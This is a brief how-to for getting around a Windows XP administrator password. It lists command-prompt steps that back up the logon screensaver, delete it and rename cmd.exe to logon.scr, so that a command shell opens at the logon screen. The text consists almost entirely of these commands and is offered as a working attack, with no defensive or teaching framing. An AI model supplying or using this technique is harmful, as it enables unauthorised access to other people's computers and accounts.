How to Crack a Windows XP Administrator Password

Go to Start –> Run –> Type in CMD
You will get a command prompt. Enter these commands the way it is given
cd\
cd\ windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit